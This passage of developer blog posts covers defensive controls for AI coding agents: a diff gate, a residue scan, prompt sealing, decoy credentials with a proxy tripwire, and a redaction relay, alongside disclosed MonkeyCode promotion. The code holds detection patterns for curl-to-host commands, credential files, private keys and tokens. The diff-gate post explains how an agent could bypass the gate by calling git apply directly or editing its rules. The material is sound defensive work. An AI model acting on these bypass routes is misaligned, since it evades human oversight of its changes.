The expected results below are a specification, not a recorded run — I wrote this gate as a template and you should confirm the exit codes on your own fixtures before trusting them:

$ python3 modeldiff_gate.py fixtures/fail_ci_edit.diff --rules gate-rules.json --ledger gate.jsonl
exit 1  -> violations: deny_globs(.github/**), forbidden_patterns(curl\s+http)

$ python3 modeldiff_gate.py fixtures/pass_add_test.diff --rules gate-rules.json --ledger gate.jsonl
exit 0  -> violations: []

The failing fixture should trip two rules, not one. If it only trips deny_globs, your pattern set isn't wired to the added-line loop. Overlapping controls are the point: a path rule and a content rule fail independently.

Step 4 — Make the gate the only door

A gate that /tmp/apply.sh calls is advisory. An agent with shell access can call git apply directly and walk around it. So put the gate outside the writable tree and make the wrapper the sole entry point:

#!/usr/bin/env bash
set -euo pipefail
DIFF="$1"
RULES=/opt/gate/gate-rules.json
python3 /opt/gate/modeldiff_gate.py "$DIFF" --rules "$RULES" --ledger /var/log/gate/decisions.jsonl
git apply --index "$DIFF"

On a free server you usually can't harden this into an adversarial control — no separate uid, no read-only mount without extra setup. Say that out loud in your own notes. What you get is a cooperative control: it catches drift, sloppy model output, and the 200-line diff you'd otherwise skim. It does not catch an agent determined to bypass it.

Step 5 — Detect from the ledger, not from memory

Three queries cover most of the value:

# How often did the gate block this week?
grep -c '"decision": "block"' /var/log/gate/decisions.jsonl

# Which paths keep getting attempted?
grep '"decision": "block"' /var/log/gate/decisions.jsonl \
  | python3 -c 'import sys,json; [print(v["file"], v["rule"]) for l in sys.stdin for v in json.loads(l)["violations"]]' \
  | sort | uniq -c | sort -rn

# Did the same diff hash come back after being blocked?
grep '"decision": "block"' /var/log/gate/decisions.jsonl | grep -o '"diff_sha256": "[a-f0-9]*"' | sort | uniq -d

The third query is the interesting one. A repeated hash means the agent retried the same rejected change — either it ignored the failure or your prompt lacks the rule. Both are worth knowing before the next session.

Prevent, detect, recover

Layer	Control	What it proves	Where it fails
Prevent	diff gate before `git apply`	the change matched your stated policy	regex and path rules only; no semantics
Detect	JSONL ledger + duplicate-hash query	attempts happened, and repeated	absent if the wrapper isn't the only door
Recover	`git restore --staged . && git restore .`	workspace returns to last known state	doesn't un-send anything already in a prompt

What this gate does not do

It does not stop secrets from entering the model's context. Nothing inbound can. That's an outbound problem and needs a separate classifier on what the workspace is allowed to read.

It does not understand intent. curl inside a string literal is fine; curl inside a run: step is not; my regex can't tell them apart, and I accept that false positive rate because the alternative is reviewing every diff by hand.

It does not survive an agent that can edit gate-rules.json. Hence tools/gate/* in the deny list, and hence keeping the rules file outside the repo if the host lets you.

Who should skip this

If you're running throwaway scripts in a scratch repo, the gate costs more attention than it saves. If your model vendor contract forbids sending repository content at all, the gate is solving problem two while problem one is still open. And if you need attested isolation for compliance, a cooperative wrapper is not evidence — you need a sandbox with a real boundary and an audit trail someone else signs.

For everyone in between — the free server, the free token allowance, the agent that finishes a refactor while you're in a meeting — the diff gate is the cheapest invariant you can install. It converts "I hope that was fine" into a line of JSON with a hash and a rule name.

So: which invariant belongs in the gate, and which one belongs in the prompt? I'd argue path and mode rules belong in the gate, because a model can be talked out of a prompt instruction and cannot be talked out of an exit code of 1.

Prove the Workspace Forgets: A Residue Test for Free Dev Servers and Model-Backed Agents

jaryn — Thu, 05 Nov 2026 15:03:39 +0000

After I stopped a throwaway dev workspace, my canary string showed up in three places: the outbound prompt capture, the shell history, and a log file I never opened. Nothing was "hacked." Every component did exactly what it was documented to do. That is the boring kind of leak — and it is the one you can actually test for.

Here is the uncomfortable part. When you move a repo onto a free server and let an agent talk to a free model endpoint, you have created two new trust boundaries in one afternoon. Most teams audit neither. They audit the code that ships, not the workspace that dissolves.

So this article is not a checklist. It is one artifact: a residue test you can run before an agent touches a real repository, with a positive fixture that proves the scanner works and a negative fixture that proves the workspace forgot.

The threat model, compressed into a table

Boundary	What crosses it	Who can read it	Typical failure
Laptop → dev server	repo, `.env`, SSH keys, git credentials	host operator, co-tenants, backups	secrets copied "just to test"
Dev server → model endpoint	prompt body, file excerpts, tool output	you, the endpoint operator	a config file pasted into context
Dev server → your logs	agent reasoning, shell commands, env dumps	anyone with log access	history files survive teardown
Server → next session	volume, image layer, caches	you, possibly others	the workspace is not as disposable as it looks

Look at the third row. That is where most of my own incidents would have lived if I had looked. ~/.bash_history is a log. .env files are logs with better branding.

Step 1 — Seed a canary, not a real secret

Never test with a live credential. You want a string that is unique, boring, and detectable by grep.

#!/usr/bin/env bash
# residue-test.sh — TEMPLATE, not executed in this article
set -euo pipefail

WS="${WS:-$HOME/work/agent-ws}"
CANARY="CANARY-$(openssl rand -hex 8)"
export CANARY

mkdir -p "$WS"
printf 'DEMO_TOKEN=%s\n' "$CANARY" > "$WS/.canary.env"
echo "[seed] canary=$CANARY"

The canary is not a vulnerability. It is an assertion. If the string moves where I did not intend, I have a boundary I cannot enforce, and that is the only thing worth knowing.

Step 2 — Capture what would leave the box

Before anything runs, route outbound requests through a local recorder. This is the cheapest observability you will ever add, and it works regardless of which endpoint you point at.

# egress recorder: append the request body, forward unchanged
# NOTE: this logs prompt bodies locally. Treat egress.ndjson as a secret file.
export MODEL_EGRESS_LOG="$HOME/work/egress.ndjson"

A minimal proxy that appends {ts, path, body} to that file and forwards the request is enough. Do not log response bodies by default. Do not log headers — that is where your key lives.

Now run one deliberately small agent task that reads .canary.env. The goal is not a useful agent. The goal is a session that touches the canary so you have something to look for.

Step 3 — Run the positive fixture first

This is the step people skip, and it is the reason most "we found nothing" reports are worthless. A scanner that returns zero hits has proven nothing until you have seen it return a hit.

# positive fixture: BEFORE teardown, the canary must be findable
python3 scan_residue.py \
  --root "$WS" --root "$HOME/work" \
  --canary "$CANARY" --expect present

If that exits non-zero, stop. Your scanner is broken, your paths are wrong, or the session never touched the file. Fix that before you read a single negative result.

Step 4 — Tear down, then scan for absence

./teardown.sh "$WS"      # stop instance, drop volume, clear history

python3 scan_residue.py \
  --root "$WS" --root "$HOME/work" --root "$HOME" \
  --canary "$CANARY" --expect absent

Exit code 2 means residue. Exit 0 means the negative fixture passed. That distinction — two different exit codes for two different claims — is the entire design.

#!/usr/bin/env python3
"""scan_residue.py — TEMPLATE, not executed in this article"""
import argparse, os, sys

SKIP_DIRS = {".git", "node_modules", "__pycache__", ".cache/pip"}


def walk(root):
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
        for name in filenames:
            yield os.path.join(dirpath, name)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--root", action="append", required=True)
    ap.add_argument("--canary", required=True)
    ap.add_argument("--expect", choices=["present", "absent"], default="absent")
    args = ap.parse_args()

    needle = args.canary.encode()
    hits = []
    for root in args.root:
        if not os.path.exists(root):
            continue
        for path in walk(root):
            try:
                if os.path.getsize(path) > 8 * 1024 * 1024:
                    continue
                with open(path, "rb") as fh:
                    if needle in fh.read():
                        hits.append(path)
            except OSError:
                continue

    for hit in hits:
        print(f"HIT {hit}")
    print(f"hits={len(hits)} expect={args.expect}")

    if args.expect == "present":
        return 0 if hits else 1
    return 0 if not hits else 2


if __name__ == "__main__":
    sys.exit(main())

Step 5 — Gate the free quota so the gate itself cannot fail silently

Free tokens are a budget, and budgets that live in your head are not budgets. If the tier is metered, an agent stuck in a retry loop can burn an allowance overnight and leave you debugging a quota error instead of a design flaw.

from dataclasses import dataclass


@dataclass
class Ledger:
    free_quota: int          # read from config; operator-supplied, changes over time
    spent: int = 0
    max_completion: int = 2048
    safety_margin: int = 50_000


def admit(prompt_tokens: int, ledger: Ledger) -> tuple[bool, str]:
    reserve = prompt_tokens + ledger.max_completion + ledger.safety_margin
    remaining = ledger.free_quota - ledger.spent
    if reserve > remaining:
        return False, f"refused: need {reserve}, have {remaining}"
    return True, f"allowed: {remaining - reserve} left after this call"

Two rules make this useful. First, free_quota comes from config, never a hardcoded literal — published allowances change. Second, a refusal must be a hard stop in the agent loop, not a warning it can ignore. If I had to pick one line of code from this article to keep, it is the refusal path.

This is where a hosted option earns its keep. If you are evaluating MonkeyCode's free model access and free server option for a throwaway workspace (both operator-supplied availability claims — read the current terms yourself, since quotas and server specs are not permanent), the residue test above is the thing I would run first, before the workspace ever sees a real repo. Disclosure: This article was prepared as part of MonkeyCode's product outreach.

What not to send to any model endpoint

Data	Send?	Why
Public library code, docs, stack traces without values	yes	already public
Your own business logic	rarely	it is the product
`.env`, keys, tokens, connection strings	never	rotation is expensive, leakage is permanent
Customer PII or production rows	no	you cannot un-send it
Internal hostnames, bucket names, ARNs	no	free reconnaissance
Incident data	sanitized only	identifiers are the payload

I keep this table next to the pre-flight check, not in a wiki. A policy nobody reads at the moment of a request is a wish.

Prevent, detect, recover

Layer	Prevent	Detect	Recover
Secrets	canary only, never real keys	positive fixture hit	rotate if a real key ever crossed
Workspace	disposable volume, no shared home	negative fixture exit 2	rebuild workspace, do not patch it
Egress	allowlist one endpoint	`egress.ndjson` review	delete capture file, rotate
Quota	`admit()` hard refusal	refusal log entries	raise margin, cap retries

What this does not prove

It does not prove the endpoint forgot your prompt. You cannot test that from outside, and I am not going to pretend a local scan reaches someone else's retention policy. Read their docs; assume the prompt body persists until documented otherwise.

It does not catch transformations. Base64, chunked sends, and partial file reads will all walk past a byte-level canary scan. If your agent can read arbitrary files, add an allowlist to the tool layer and test that separately.

It does not work well for tiny, single-session experiments where teardown is "close the tab." There the test costs more than the exposure. If you are prototyping a scraper for thirty minutes with no credentials and no customer data, skip this and go build.

The invariant worth keeping

The canary test is not about the canary. It is about converting "we think the workspace is disposable" into an exit code CI can read. So the question I would leave you with:

Which invariant belongs in your pipeline — the residue scan after teardown, or an egress allowlist before the first request — and which layer should own it, the harness or the host?

If you want somewhere harmless to answer that, a free throwaway workspace is a reasonable place to run the negative fixture first. Just do not point it at a repo you would miss.

You Approved the Idea, Not the Payload — Seal the Bytes Before Your Agent Sends Them

jaryn — Tue, 27 Oct 2026 12:32:18 +0000

A reviewer signed off on a prompt at 09:41. At 09:43 the client sent 412 more bytes than the reviewer had seen.

The extra bytes were not an attack. My task runner appended the tool schemas late, and one of those schemas carried a default value copied from a local config file. Nothing exploded. But the approval I had given was for a sentence, and the thing that crossed the network boundary was a document I had never read.

So let me ask the question that broke my process: what exactly did you approve the last time you clicked "send"?

The payload is bigger than the prompt

Developers imagine the outbound request as the message they typed. That is maybe a third of it.

Here is what I actually found when I dumped one request from a coding agent:

the system prompt, versioned by the vendor, not by me
every tool schema the harness exposes, including default arguments
file excerpts the agent chose to attach, which I did not choose
retry payloads, which resend the same context after a 5xx
an error echo on the way back, which can land in my logs

That is four trust boundaries in one round trip, not one. My review covered a single line of it.

The recent DEV discussion about developers refusing to act as a proxy between a user and an AI lands on the same nerve. The point is not who is in the middle. The point is that the middle is where bytes get added and nobody counts them.

Seal the exact bytes, not the intention

I want an invariant a machine can enforce: the payload that leaves matches the payload a human approved, byte for byte, or the request does not leave.

Content-addressed approval does that. Canonicalize the payload, hash it, store the hash next to the review, and make the client refuse to send when the hash no longer matches. No policy engine. No model calls. One file, one comparison.

Here is the whole tool. It is about 70 lines and it has no dependencies beyond the standard library.

#!/usr/bin/env python3
"""prompt_seal.py - content-addressed approval for outbound model payloads.

Usage:
  python prompt_seal.py seal   payload.json > approval.json
  python prompt_seal.py verify payload.json approval.json
  python prompt_seal.py sizes  payload.json
"""
from __future__ import annotations

import hashlib
import json
import sys
from pathlib import Path


def canonical(payload: dict) -> bytes:
    return json.dumps(
        payload, sort_keys=True, separators=(",", ":"), ensure_ascii=False
    ).encode("utf-8")


def digest(payload: dict) -> str:
    return hashlib.sha256(canonical(payload)).hexdigest()


def sections(payload: dict) -> dict[str, int]:
    return {k: len(canonical({k: v})) for k, v in payload.items()}


def seal(payload_path: Path) -> dict:
    payload = json.loads(payload_path.read_text(encoding="utf-8"))
    return {
        "payload_sha256": digest(payload),
        "sections": sections(payload),
        "bytes": len(canonical(payload)),
    }


def verify(payload_path: Path, approval_path: Path) -> int:
    payload = json.loads(payload_path.read_text(encoding="utf-8"))
    approval = json.loads(approval_path.read_text(encoding="utf-8"))
    actual = digest(payload)
    if actual == approval["payload_sha256"]:
        print(f"SEAL OK {actual[:12]} ({approval['bytes']} bytes)")
        return 0

    before, now = approval["sections"], sections(payload)
    changed = sorted(k for k in set(before) | set(now) if before.get(k) != now.get(k))
    print(
        f"REFUSED hash mismatch: approved {approval['payload_sha256'][:12]} "
        f"!= actual {actual[:12]}"
    )
    for key in changed:
        print(f"  changed section: {key}: {before.get(key)} -> {now.get(key)} bytes")
    return 2


def main(argv: list[str]) -> int:
    if len(argv) < 3 or argv[1] not in {"seal", "verify", "sizes"}:
        print(__doc__, file=sys.stderr)
        return 64
    payload_path = Path(argv[2])
    if argv[1] == "seal":
        print(json.dumps(seal(payload_path), indent=2, sort_keys=True))
        return 0
    if argv[1] == "sizes":
        payload = json.loads(payload_path.read_text(encoding="utf-8"))
        for key, size in sorted(sections(payload).items(), key=lambda kv: -kv[1]):
            print(f"{size:>8}  {key}")
        return 0
    if len(argv) < 4:
        print("verify needs an approval file", file=sys.stderr)
        return 64
    return verify(payload_path, Path(argv[3]))


if __name__ == "__main__":
    raise SystemExit(main(sys.argv))

Two commands matter. seal prints the approval record you attach to your review. verify returns 0 on a match and 2 on drift — and when it drifts, it names the section that changed size instead of leaving you to diff a wall of JSON.

Numbered workflow: from review to refusal

Freeze the payload. Have your harness write the complete request body to build/payload.json before any HTTP client touches it. If your SDK builds the body internally, this step is where you lose — see the limitations below.
Print the map, not the prompt. Run python prompt_seal.py sizes build/payload.json. In my case files was 91% of the bytes while messages was under 800 bytes. Reviewers look at the smallest section because it is the readable one.
Review, then seal. Read the payload, then run python prompt_seal.py seal build/payload.json > approvals/task-42.json. The approval file is small enough to live in git next to the task.
Verify inside the send path. The client must call verify and exit non-zero before opening a socket. Not after. Not in a wrapper script someone forgets to source.
Wire it into CI. One line, and every PR proves the payload it sends is the payload it approved.

python prompt_seal.py verify build/payload.json approvals/task-42.json

Positive and negative fixtures

A gate you have never seen fail is a gate you do not have. Here are both halves, written as a pytest file that shells out to the real CLI.

# tests/test_prompt_seal.py
import json
import subprocess
import sys
from pathlib import Path

ROOT = Path(__file__).resolve().parents[1]
SEAL = ROOT / "prompt_seal.py"


def run(*args):
    return subprocess.run(
        [sys.executable, str(SEAL), *map(str, args)],
        capture_output=True,
        text=True,
    )


def test_positive_approved_payload_passes(tmp_path):
    payload = tmp_path / "payload.json"
    payload.write_text(json.dumps({
        "model_tier": "free",
        "messages": [{"role": "user", "content": "summarise src/queue.py"}],
        "files": {"src/queue.py": "def drain(q): ..."},
    }), encoding="utf-8")

    approval = tmp_path / "approval.json"
    approval.write_text(run("seal", payload).stdout, encoding="utf-8")

    assert run("verify", payload, approval).returncode == 0


def test_negative_late_appended_context_is_refused(tmp_path):
    body = {
        "messages": [{"role": "user", "content": "rename the flag"}],
        "files": {"src/cli.py": "FLAG = 'dry'"},
    }
    payload = tmp_path / "payload.json"
    payload.write_text(json.dumps(body), encoding="utf-8")

    approval = tmp_path / "approval.json"
    approval.write_text(run("seal", payload).stdout, encoding="utf-8")

    body["files"][".env"] = "SERVICE_TOKEN=REDACTED_FOR_ARTICLE"
    payload.write_text(json.dumps(body), encoding="utf-8")

    result = run("verify", payload, approval)
    assert result.returncode == 2
    assert "REFUSED hash mismatch" in result.stdout
    assert "changed section: files" in result.stdout

Expected failure evidence is the string REFUSED hash mismatch plus changed section: files. If your client can still send after that, your gate is decoration.

What to send, what to seal, what to never send

Content class	Cross the boundary?	Seal + human review	Retention assumption
Public source files, docs	Yes	Seal only	Assume long retention
Internal business logic, no secrets	Yes, scoped to files needed	Yes	Assume long retention
Stack traces with internal hostnames	Only after stripping	Yes	Assume long retention
Credentials, tokens, private keys	Never	Hard block in the harness	—
Customer PII rows, dumps of live tables	Never raw	Prefer synthetic fixtures	—
Regulated data (health, payment)	Only under a signed agreement	Legal review, not code review	Explicit, in writing

I keep that table taped to the review checklist because the seal tells me the payload changed, not whether it should have existed. A hash is integrity, not judgement.

Which brings me to the honest part. This gate stops accidental scope creep inside my own harness. It does not tell me what the provider keeps, and it does not stop a provider from logging what I legitimately sent.

Where free-tier trials fit

Here is why I built this now. Free model access removes the budget argument, which means more teams route real work through a hosted boundary during evaluation instead of writing a one-page design note first. Cheap access is good. Cheap access with no counted bytes is how .env excerpts end up in a request nobody reviewed.

MonkeyCode is one place I point this at: it offers free model access and a free server option, so a trial workspace can exist before procurement finishes. Treat those as my operator-supplied availability claims — I have not measured quotas, hardware, or persistence here, and you should verify them yourself before you rely on them.

What I can say is that a free ephemeral workspace is exactly the environment where sealing pays off. The workspace is disposable, the requests are experimental, and the reviewer is usually the same tired person who wrote the code. That is the moment an approved hash earns its keep.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

Limitations, and who should skip this

It seals the canonical dict, not the wire bytes. If your HTTP client reorders, injects, or templates anything after sealing, the hash proves nothing.
It is a pre-flight gate, not a DLP scanner. It will happily seal a payload containing a live key. Pair it with a shape-based secret scan and a file-glob allow-list.
It cannot survive unknown compression or multipart uploads without a custom canonicalizer.
Skip it if you are a solo developer sending one-off prompts by hand — the ceremony costs more than the risk. Also skip it if you need deletion proof from a provider; this tool says nothing about that.

So here is the boundary question I keep failing to answer alone: should the hash-match invariant live in CI, where it catches drift late but visibly, or in the transport layer, where it blocks at send time but hides the failure from the person who could learn from it?

I run it in both places. I am still not sure that is discipline or just distrust.

Plant Decoy Credentials Before Your Coding Agent Leaves Your Laptop

jaryn — Mon, 26 Oct 2026 11:13:50 +0000

The first thing most teams do with a free coding agent is point it at a real repository. Why not? The tokens are free, the server is free, and the repo is right there. That instinct is exactly the one worth interrogating before you press the sync button.

I am not going to claim anyone's agent leaked anything. I have no such evidence, and vague fear is useless. What I can give you is a boundary you can measure yourself: decoy credentials, a classification pass, and an outbound capture point that tells you whether a string you planted crossed a line you can observe.

The four boundaries nobody labels

A remote coding agent moves your code across at least four trust boundaries. Most threat models collapse them into one, which is why the conversation goes nowhere.

 B1            B2                 B3                  B4
laptop  -->  workspace sync  -->  model endpoint  -->  provider logs
 |                |                    |                   |
 files          remote FS           prompt/body        retention
 .env?          tmp dirs?           tool output?       policy?

B1 is what you choose to send. B2 is what the workspace keeps after the run. B3 is what actually enters a request body. B4 is what survives the session. You control B1 fully, B3 partially (if you can proxy), and B2/B4 mostly by contract and by deletion discipline.

So the useful question is not "is this tool safe?" It is: which boundary do I have evidence about, and which one am I guessing at?

Step 1 — Classify before you sync

Start with a file-level gate. This is the cheapest control and the one people skip. The script below is a template I wrote for this article and have not run against your repo; run it, read the output, and adjust the patterns to your stack.

#!/usr/bin/env python3
# preflight.py - classify repo files before a remote agent sees them.
import hashlib, json, re, sys
from pathlib import Path

DENY = [
    (r"(^|/)\.env(\..*)?$",                    "env-file"),
    (r"(^|/)id_(rsa|ed25519|ecdsa|dsa)$",       "private-key"),
    (r"\.(pem|p12|pfx|jks|keystore)$",          "key-material"),
    (r"(^|/)\.(aws|ssh|gnupg|kube)/",           "credential-dir"),
    (r"(^|/)(secrets?|credentials?)\.(ya?ml|json|toml|ini)$", "secret-config"),
    (r"(^|/)terraform\.tfstate(\.backup)?$",    "state-with-secrets"),
]
REVIEW = [
    (r"(^|/)fixtures?/",             "fixture-may-hold-real-data"),
    (r"\.(sql|dump|bak|zip|tar|gz)$", "archive-or-dump"),
    (r"(^|/)docker-compose\.ya?ml$",  "may-inline-env"),
]

def classify(rel: Path):
    p = rel.as_posix()
    for pat, label in DENY:
        if re.search(pat, p): return "deny", label
    for pat, label in REVIEW:
        if re.search(pat, p): return "review", label
    return "allow", ""

def sha256(path: Path) -> str:
    h = hashlib.sha256(); h.update(path.read_bytes()); return h.hexdigest()

root = Path(sys.argv[1] if len(sys.argv) > 1 else ".").resolve()
files, counts = [], {"allow": 0, "review": 0, "deny": 0}
for p in sorted(root.rglob("*")):
    if not p.is_file() or ".git" in p.parts:
        continue
    rel = p.relative_to(root)
    verdict, label = classify(rel)
    counts[verdict] += 1
    files.append({"path": rel.as_posix(), "verdict": verdict,
                  "label": label, "sha256": sha256(p)})
json.dump({"root": str(root), "counts": counts, "files": files},
          open("manifest.json", "w"), indent=2)
print(counts)

Run it and look at the deny list explicitly:

python3 preflight.py .
python3 - <<'PY'
import json
m = json.load(open("manifest.json"))
print("\n".join(f["path"] for f in m["files"] if f["verdict"] == "deny"))
PY

The manifest is the second half of the value: hashes plus an upload decision, so a later "what exactly did we send?" question has an answer that is not a memory.

Step 2 — Plant a decoy that must never leave

Classification tells you what you intended to exclude. A decoy tells you whether the intent held. Generate one unique marker per run, keep it outside the repo, and plant it only inside a fixture that a careless agent would happily read.

#!/usr/bin/env bash
# tools/decoys/make.sh - one decoy per run; marker never enters git.
set -euo pipefail
OUT="${DECOY_STORE:-$HOME/.local/share/agent-decoys}"
mkdir -p "$OUT"
RUN="$(date -u +%Y%m%dT%H%M%SZ)"
CANARY="sk-decoy-$(openssl rand -hex 16)"
printf '%s\n' "$CANARY" > "$OUT/$RUN.canary"
mkdir -p fixtures/agent-decoys
cat > fixtures/agent-decoys/staging.env <<EOF
# decoy value, not a real credential, nothing to rotate
STAGING_API_KEY=$CANARY
EOF
echo "canary: $OUT/$RUN.canary"

Two rules make this honest. First, the decoy is shaped like a secret but is worthless, so a hit is embarrassing, not an incident. Second, fixtures/ shows up as review in the manifest — which is exactly right, and proves your classifier is not asleep.

Step 3 — Watch the outbound body

Now the interesting part. If you can route the agent's traffic through a proxy you control, you can check B3 directly. Here is a mitmproxy addon that reads a canary file and reports any request body containing the marker.

# tripwire.py - mitmdump -s tripwire.py ; CANARY_FILE=/path/to/run.canary
import os, sys
from mitmproxy import http

CANARIES = [l.strip() for l in open(os.environ["CANARY_FILE"]) if l.strip()]

class Tripwire:
    hits = 0

    def request(self, flow: http.HTTPFlow) -> None:
        body = flow.request.get_text(strict=False) or ""
        for c in CANARIES:
            if c in body:
                Tripwire.hits += 1
                print(f"HIT {flow.request.host}{flow.request.path}", file=sys.stderr)

    def done(self) -> None:
        print(f"tripwire hits: {Tripwire.hits}", file=sys.stderr)

addons = [Tripwire()]

Wire it up. Replace <agent-cli> with whatever entrypoint your tool ships — I am deliberately not naming one, because the point is the capture point, not the client.

mitmdump -q -s tripwire.py --set confdir=/tmp/mitm &
CANARY_FILE="$HOME/.local/share/agent-decoys/20261026T090000Z.canary" \
HTTPS_PROXY=http://127.0.0.1:8080 \
  <agent-cli> run "add a health endpoint to fixtures/agent-decoys"

A hit means the marker reached a request body you could see. Zero hits means the marker did not cross that boundary during that run. It is not a privacy certificate, and reading it as one is how teams talk themselves into bad defaults.

Where a free tier actually fits

This is where free model access and a free server option become genuinely useful — not as a production platform, but as a disposable surface you can test boundaries on without spending budget. That is the honest framing.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

MonkeyCode is an open-source AI development platform, and per the current outreach brief it offers free model access (10 million tokens) and a free server option. Treat those as operator-supplied claims with moving parts: models, quotas, hardware, and expiry can change without notice, so read the current terms on the signup page before you build a workflow on them. What matters for this article is that a free workspace is a good place to run the decoy test, precisely because you should assume you will throw it away.

Data class	Free remote workspace?	Control
Public OSS clone, no history rewrite	Yes	Pin commit SHA in the manifest
Internal source, no secrets	Yes, with review	Decoy run + tripwire before real work
`.env`, key material, tfstate	No	Deny in preflight, keep local
Customer data, dumps, fixtures from prod	No	Synthesize fixtures instead
Incident timelines, auth logs	No	Summarize by hand, not by paste
Throwaway reproduction of a public CVE	Yes	Ideal case for a free tier

That last row is the one worth defending. Reproducing a public failure in a scratch workspace is the highest-value, lowest-risk use of somebody else's compute.

Prevent, detect, recover

Layer	Mechanism	Evidence it worked
Prevent	`preflight.py` deny list + repo allowlist	`manifest.json` with hashes
Prevent	Decoy stored outside the tree	Canary file exists only locally
Detect	`tripwire.py` on outbound bodies	Hit line naming host and path
Detect	Post-run grep of the workspace	Marker absent after deletion
Recover	Rotate anything the decoy resembled, not the decoy	Rotation ticket referencing the run ID

Note the recover row carefully. If a hit ever involves a real credential, the decoy is irrelevant — you rotate the real thing on the assumption it left, and you do it in dependency order rather than clicking the first "rotate" button you find.

Limitations I will not paper over

TLS pinning or a client that ignores HTTPS_PROXY will break the capture step, and then you are back to guessing about B3. Body matching only sees text; multipart uploads, gzip streams, and base64 blobs will slip past a naive in check. The decoy test says nothing about B4 retention, which is a policy question, not a packet question. And a single run is a sample, not a distribution — run it again after every agent or CLI upgrade, because the code path that assembles a prompt is exactly the kind of thing that changes quietly.

Who should skip this? Solo developers working on public repos with no credentials in the tree gain little. Teams under a compliance regime that forbids third-party inference entirely should not be testing the boundary at all; they should be enforcing an egress deny and stopping there.

What I would actually ship

Two files in CI, one habit. preflight.py fails the build if a deny file is staged for a synced workspace. tripwire.py runs before the first real task on any new workspace, with a fresh canary each time. The habit is asking, before every sync: which of the four boundaries am I about to trust without evidence?

So here is the boundary question I keep coming back to. The decoy check belongs in CI, where it is cheap and repeatable. The deny list belongs in the repo, where reviewers can argue about it. But the decision about what a workspace retains after the run — that one is not enforceable by you at all, is it? Which layer do you think should own it?

Your Free Model Endpoint Keeps Logs — Build the Relay That Decides What They Say

jaryn — Tue, 20 Oct 2026 09:18:04 +0000

A stack trace leaves someone's editor. It carries a database URL with a password, because connection strings love stack traces. It hits a small relay on a free server, gets forwarded to a free model endpoint, and comes back as a fixed bug.

Fine outcome. Now grep the relay's own log.

The plaintext is sitting there — in the request body someone logged "for debugging", and in the response someone logged "for observability". The provider's copy is outside your control. Your copy is not. That asymmetry is the whole article.

The failing sequence, in five lines

The agent reads a file containing DATABASE_URL=postgres://app:hunter2@db.internal:5432/app.
It posts the file to the relay.
The relay writes the request body to disk.
The relay forwards it to the model endpoint.
Six weeks later, a grep finds it.

Which line would survive a review? Line 3 — and only line 3. Lines 1 and 4 are policy questions you can't unilaterally answer. Line 3 is a code change.

Draw the boundary map before you write the code

You can't redact what you haven't located. So name the boundaries first.

#	Boundary	What crosses	Who can read it later
B1	workspace → relay	full prompt, unsanitized	your shell history, editor backups, agent transcripts
B2	relay → model endpoint	whatever you choose to forward	the provider's retention policy, your TLS terminator
B3	relay → its own log/disk	whatever you chose to log	anyone with disk access — on an ephemeral free host, assume "anyone"
B4	model response → workspace	model output	you, plus every tool that persists it

B3 is the only boundary where you own both the writer and the reader. That's where the artifact goes.

One design rule falls out of this: the relay must be one-way. No rehydration map, no "restore original values before forwarding". A bidirectional relay is a second copy of the secret, on the host you trust least.

Classify your data, then pick the action

Three actions, not two. "Send or don't send" is a false binary that pushes people back to pasting the whole repo.

Data class	Action	Why
Private keys, cloud access keys, bearer tokens, connection strings with passwords	Block	Rotation is the only real remedy; the model never needs the literal value
Customer email, internal hostnames, private IPs, ticket IDs	Placeholder	The model usually needs the shape, not the value
Source code with no matching pattern, public stack traces, public docs	Forward raw	Cost of redaction outweighs the marginal risk
Regulated data (health, cardholder, government IDs)	Stop	Redaction shrinks blast radius; it does not create a lawful basis

Write that table down before you deploy. Two columns in a file beats a paragraph in a wiki nobody opens.

Build the relay: 60 lines, standard library only

No dependencies, no model SDK, no framework. The relay does not call the model itself — it returns a decision, and your agent only forwards what comes back marked forward.

#!/usr/bin/env python3
"""relay.py - one-way redaction relay. Python 3.8+, standard library only."""
import argparse, hashlib, json, re
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

RULES = [
    ("private_key", re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]+?-----END [A-Z ]*PRIVATE KEY-----")),
    ("cloud_key",   re.compile(r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b")),
    ("bearer",      re.compile(r"(?i)\bBearer\s+[A-Za-z0-9._\-]{20,}")),
    ("conn_string", re.compile(r"\b[a-z][a-z0-9+]*://[^\s:@/]+:[^\s@/]+@[^\s]+")),
    ("email",       re.compile(r"\b[\w.+-]+@[\w-]+\.[\w.]+\b")),
    ("private_ip",  re.compile(r"\b(?:10\.\d{1,3}|127\.\d{1,3}|192\.168)\.\d{1,3}\.\d{1,3}\b")),
]
BLOCK = {"private_key", "cloud_key", "bearer", "conn_string"}
MAX_BODY = 64 * 1024

def redact(text):
    counts, out = {}, text
    for name, rx in RULES:
        def rep(m, _n=name):
            counts[_n] = counts.get(_n, 0) + 1
            return f"<<{_n}:{counts[_n]}>>"
        out = rx.sub(rep, out)
    return out, counts

def decide(text):
    redacted, counts = redact(text)
    blocking = sorted(set(counts) & BLOCK)
    return {
        "action": "blocked" if blocking else "forward",
        "blocking": blocking,
        "classes": counts,
        "prompt": redacted,
        "body_sha256": hashlib.sha256(text.encode()).hexdigest(),
        "bytes_in": len(text.encode()),
    }

class Relay(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def reply(self, code, obj):
        body = json.dumps(obj).encode()
        self.send_response(code)
        self.send_header("content-type", "application/json")
        self.send_header("content-length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_POST(self):
        if self.path != "/relay":
            return self.reply(404, {"error": "not found"})
        n = int(self.headers.get("content-length", 0))
        if n > MAX_BODY:
            return self.reply(413, {"error": "too large"})
        try:
            text = json.loads(self.rfile.read(n) or b"{}")["prompt"]
            assert isinstance(text, str)
        except Exception:
            return self.reply(400, {"error": "bad payload"})
        d = decide(text)
        # audit line: no body, no redacted body, no match values - hashes only
        self.log_message("%s", json.dumps(
            {k: d[k] for k in ("action", "classes", "blocking", "body_sha256", "bytes_in")},
            sort_keys=True))
        if d["action"] == "blocked":
            return self.reply(422, {"action": "blocked", "blocking": d["blocking"], "classes": d["classes"]})
        return self.reply(200, {"action": "forward", "prompt": d["prompt"],
                                "classes": d["classes"], "body_sha256": d["body_sha256"]})

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
